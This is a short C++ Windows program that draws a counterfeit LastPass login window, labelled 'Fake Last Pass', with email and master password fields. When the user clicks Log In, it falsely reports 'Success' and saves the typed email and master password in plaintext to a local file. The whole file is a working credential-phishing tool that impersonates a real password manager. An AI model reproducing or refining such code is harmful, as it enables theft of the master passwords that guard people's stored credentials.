Code
#include <windows.h>
#include <fstream>
#include <iostream>
using namespace std;
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
char usertext[50];
char passwordtext[50];
HWND UserField;
HWND PasswordField;
HWND redpasslabel;
HFONT hFont;
#define ID_QUIT 2
#define ID_LOGON 1
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PWSTR lpCmdLine, int nCmdShow) {
MSG msg;
WNDCLASSW wc = { 0 };
wc.lpszClassName = L"Buttons";
wc.hInstance = hInstance;
wc.hbrBackground = GetSysColorBrush(COLOR_3DFACE);
wc.lpfnWndProc = WndProc;
wc.hCursor = LoadCursor(0, IDC_ARROW);
RegisterClassW(&wc);
CreateWindowW(wc.lpszClassName, L" ",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
1080, 80, 350, 450, 0, 0, hInstance, 0);
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int)msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg,
WPARAM wParam, LPARAM lParam) {
switch (msg) {
case WM_CREATE:
CreateWindowW(L"static", L"Fake Last Pass",
WS_CHILD | WS_VISIBLE,
60, 60, 145, 25, hwnd, NULL, NULL, NULL);
redpasslabel = CreateWindowW(L"static", L"Login",
WS_CHILD | WS_VISIBLE,
180, 60, 85, 25, hwnd, NULL, NULL, NULL);
CreateWindowW(L"static", L"Email",
WS_CHILD | WS_VISIBLE,
20, 100, 85, 25, hwnd, NULL, NULL, NULL);
UserField = CreateWindowW(L"edit", L"",
WS_BORDER | WS_CHILD | WS_VISIBLE | WS_TABSTOP,
20, 120, 200, 25, hwnd, NULL, NULL, NULL);
CreateWindowW(L"static", L"Master Password",
WS_CHILD | WS_VISIBLE,
20, 150, 205, 25, hwnd, NULL, NULL, NULL);
PasswordField = CreateWindowW(L"EDIT", L"",
WS_BORDER | WS_CHILD | WS_VISIBLE | ES_PASSWORD | WS_TABSTOP,
20, 170, 200, 25, hwnd, NULL, NULL, NULL);
CreateWindowW(L"Button", L"Log In",
WS_VISIBLE | WS_CHILD,
20, 220, 190, 25, hwnd, (HMENU)ID_LOGON, NULL, NULL);
CreateWindowW(L"static", L"--------------------- or ---------------------",
WS_CHILD | WS_VISIBLE,
20, 260, 190, 25, hwnd, NULL, NULL, NULL);
CreateWindowW(L"static", L"Create an account",
WS_CHILD | WS_VISIBLE,
40, 280, 190, 25, hwnd, NULL, NULL, NULL);
SetFocus(UserField);
break;
case WM_COMMAND:
if (LOWORD(wParam) == ID_LOGON) {
int gwtstat = 0;
gwtstat = GetWindowTextA(UserField, &usertext[0], 50);
gwtstat = GetWindowTextA(PasswordField, &passwordtext[0], 50);
MessageBoxA(hwnd, usertext, "Success", NULL);
ofstream myfile;
myfile.open("example.txt");
myfile << "Login\n" << usertext<<":"<<passwordtext;
myfile.close();
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}